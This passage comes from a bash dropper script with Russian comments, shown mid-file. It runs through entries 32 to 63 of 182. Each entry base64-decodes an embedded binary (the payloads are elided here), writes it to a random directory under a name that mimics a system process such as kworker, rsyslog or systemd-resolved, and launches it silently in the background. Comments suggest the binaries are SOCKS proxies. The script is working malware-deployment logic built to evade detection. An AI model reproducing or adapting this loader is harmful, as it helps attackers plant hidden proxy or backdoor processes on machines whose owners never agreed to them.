            echo "❌ Failed to start: watchdog-804"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-804"
        failed=$((failed + 1))
    fi
    

    # Файл 32: socks32 (14) -> rsyslog-181
    echo "🔧 [32/182] Deploying rsyslog-181"
    
    # Собираем данные из частей
    FILE_DATA_31="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-181"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_31" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-181 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-181 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-181"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-181"
        failed=$((failed + 1))
    fi
    

    # Файл 33: socks64 (13) -> dbus-daemon-391
    echo "🔧 [33/182] Deploying dbus-daemon-391"
    
    # Собираем данные из частей
    FILE_DATA_32="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-391"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_32" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-391 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-391 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-391"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-391"
        failed=$((failed + 1))
    fi
    

    # Файл 34: socks32 (13) -> ksoftirqd-965
    echo "🔧 [34/182] Deploying ksoftirqd-965"
    
    # Собираем данные из частей
    FILE_DATA_33="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-965"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_33" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-965 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-965 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-965"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-965"
        failed=$((failed + 1))
    fi
    

    # Файл 35: socks64 (12) -> NetworkManager-636
    echo "🔧 [35/182] Deploying NetworkManager-636"
    
    # Собираем данные из частей
    FILE_DATA_34="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-636"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_34" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-636 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-636 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-636"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-636"
        failed=$((failed + 1))
    fi
    

    # Файл 36: socks32 (12) -> rsyslog-690
    echo "🔧 [36/182] Deploying rsyslog-690"
    
    # Собираем данные из частей
    FILE_DATA_35="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-690"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_35" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-690 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-690 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-690"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-690"
        failed=$((failed + 1))
    fi
    

    # Файл 37: socks64 (11) -> NetworkManager-380
    echo "🔧 [37/182] Deploying NetworkManager-380"
    
    # Собираем данные из частей
    FILE_DATA_36="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-380"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_36" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-380 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-380 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-380"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-380"
        failed=$((failed + 1))
    fi
    

    # Файл 38: socks32 (11) -> dbus-daemon-826
    echo "🔧 [38/182] Deploying dbus-daemon-826"
    
    # Собираем данные из частей
    FILE_DATA_37="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-826"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_37" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-826 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-826 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-826"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-826"
        failed=$((failed + 1))
    fi
    

    # Файл 39: socks64 (10) -> rsyslog-979
    echo "🔧 [39/182] Deploying rsyslog-979"
    
    # Собираем данные из частей
    FILE_DATA_38="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-979"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_38" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-979 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-979 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-979"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-979"
        failed=$((failed + 1))
    fi
    

    # Файл 40: socks32 (10) -> migration-700
    echo "🔧 [40/182] Deploying migration-700"
    
    # Собираем данные из частей
    FILE_DATA_39="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-700"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_39" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-700 >/dev/null 2>&1 & then
            echo "✅ Started: migration-700 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-700"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-700"
        failed=$((failed + 1))
    fi
    

    # Файл 41: socks64 (9) -> ksoftirqd-666
    echo "🔧 [41/182] Deploying ksoftirqd-666"
    
    # Собираем данные из частей
    FILE_DATA_40="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-666"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_40" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-666 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-666 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-666"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-666"
        failed=$((failed + 1))
    fi
    

    # Файл 42: socks32 (9) -> dbus-daemon-182
    echo "🔧 [42/182] Deploying dbus-daemon-182"
    
    # Собираем данные из частей
    FILE_DATA_41="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-182"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_41" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-182 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-182 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-182"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-182"
        failed=$((failed + 1))
    fi
    

    # Файл 43: socks64 (8) -> kworker-109
    echo "🔧 [43/182] Deploying kworker-109"
    
    # Собираем данные из частей
    FILE_DATA_42="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-109"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_42" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-109 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-109 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-109"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-109"
        failed=$((failed + 1))
    fi
    

    # Файл 44: socks32 (8) -> migration-754
    echo "🔧 [44/182] Deploying migration-754"
    
    # Собираем данные из частей
    FILE_DATA_43="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-754"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_43" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-754 >/dev/null 2>&1 & then
            echo "✅ Started: migration-754 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-754"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-754"
        failed=$((failed + 1))
    fi
    

    # Файл 45: socks64 (7) -> chronyd-367
    echo "🔧 [45/182] Deploying chronyd-367"
    
    # Собираем данные из частей
    FILE_DATA_44="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-367"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_44" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-367 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-367 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-367"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-367"
        failed=$((failed + 1))
    fi
    

    # Файл 46: socks32 (7) -> migration-448
    echo "🔧 [46/182] Deploying migration-448"
    
    # Собираем данные из частей
    FILE_DATA_45="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-448"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_45" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-448 >/dev/null 2>&1 & then
            echo "✅ Started: migration-448 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-448"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-448"
        failed=$((failed + 1))
    fi
    

    # Файл 47: socks64 (6) -> systemd-networkd-502
    echo "🔧 [47/182] Deploying systemd-networkd-502"
    
    # Собираем данные из частей
    FILE_DATA_46="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-502"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_46" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-502 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-502 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-502"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-502"
        failed=$((failed + 1))
    fi
    

    # Файл 48: socks32 (6) -> kworker-955
    echo "🔧 [48/182] Deploying kworker-955"
    
    # Собираем данные из частей
    FILE_DATA_47="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-955"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_47" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-955 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-955 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-955"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-955"
        failed=$((failed + 1))
    fi
    

    # Файл 49: socks64 (5) -> rcu_gp-747
    echo "🔧 [49/182] Deploying rcu_gp-747"
    
    # Собираем данные из частей
    FILE_DATA_48="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-747"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_48" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-747 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-747 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-747"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-747"
        failed=$((failed + 1))
    fi
    

    # Файл 50: socks32 (5) -> rcu_gp-613
    echo "🔧 [50/182] Deploying rcu_gp-613"
    
    # Собираем данные из частей
    FILE_DATA_49="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-613"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_49" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-613 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-613 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-613"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-613"
        failed=$((failed + 1))
    fi
    

    # Файл 51: socks64 (4) -> migration-366
    echo "🔧 [51/182] Deploying migration-366"
    
    # Собираем данные из частей
    FILE_DATA_50="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-366"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_50" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-366 >/dev/null 2>&1 & then
            echo "✅ Started: migration-366 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-366"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-366"
        failed=$((failed + 1))
    fi
    

    # Файл 52: socks32 (4) -> systemd-networkd-784
    echo "🔧 [52/182] Deploying systemd-networkd-784"
    
    # Собираем данные из частей
    FILE_DATA_51="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-784"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_51" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-784 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-784 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-784"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-784"
        failed=$((failed + 1))
    fi
    

    # Файл 53: socks64 (3) -> systemd-resolved-358
    echo "🔧 [53/182] Deploying systemd-resolved-358"
    
    # Собираем данные из частей
    FILE_DATA_52="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-358"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_52" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-358 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-358 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-358"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-358"
        failed=$((failed + 1))
    fi
    

    # Файл 54: socks32 (3) -> systemd-resolved-276
    echo "🔧 [54/182] Deploying systemd-resolved-276"
    
    # Собираем данные из частей
    FILE_DATA_53="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-276"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_53" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-276 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-276 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-276"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-276"
        failed=$((failed + 1))
    fi
    

    # Файл 55: socks64 (2) -> rcu_gp-759
    echo "🔧 [55/182] Deploying rcu_gp-759"
    
    # Собираем данные из частей
    FILE_DATA_54="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-759"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_54" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-759 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-759 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-759"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-759"
        failed=$((failed + 1))
    fi
    

    # Файл 56: socks32 (2) -> migration-599
    echo "🔧 [56/182] Deploying migration-599"
    
    # Собираем данные из частей
    FILE_DATA_55="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-599"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_55" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-599 >/dev/null 2>&1 & then
            echo "✅ Started: migration-599 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-599"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-599"
        failed=$((failed + 1))
    fi
    

    # Файл 57: socks64 (1) -> watchdog-747
    echo "🔧 [57/182] Deploying watchdog-747"
    
    # Собираем данные из частей
    FILE_DATA_56="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-747"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_56" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-747 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-747 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-747"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-747"
        failed=$((failed + 1))
    fi
    

    # Файл 58: socks32 (1) -> kworker-985
    echo "🔧 [58/182] Deploying kworker-985"
    
    # Собираем данные из частей
    FILE_DATA_57="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-985"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_57" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-985 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-985 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-985"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-985"
        failed=$((failed + 1))
    fi
    

    # Файл 59: socks64 -> rcu_gp-226
    echo "🔧 [59/182] Deploying rcu_gp-226"
    
    # Собираем данные из частей
    FILE_DATA_58="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-226"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_58" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-226 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-226 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-226"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-226"
        failed=$((failed + 1))
    fi
    

    # Файл 60: socks32 -> rcu_gp-821
    echo "🔧 [60/182] Deploying rcu_gp-821"
    
    # Собираем данные из частей
    FILE_DATA_59="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-821"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_59" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-821 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-821 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-821"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-821"
        failed=$((failed + 1))
    fi
    

    # Файл 61: 185.93.89 -> watchdog-876
    echo "🔧 [61/182] Deploying watchdog-876"
    
    # Собираем данные из частей
    FILE_DATA_60="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-876"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_60" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-876 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-876 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-876"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-876"
        failed=$((failed + 1))
    fi
    

    # Файл 62: 185.93 (1).89 -> watchdog-694
    echo "🔧 [62/182] Deploying watchdog-694"
    
    # Собираем данные из частей
    FILE_DATA_61="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-694"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_61" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-694 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-694 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-694"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-694"
        failed=$((failed + 1))
    fi
    

    # Файл 63: 185.93 (2).89 -> kworker-821
    echo "🔧 [63/182] Deploying kworker-821"
    
    # Собираем данные из частей
    FILE_DATA_62="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-821"
    
    # Декодируем и записываем
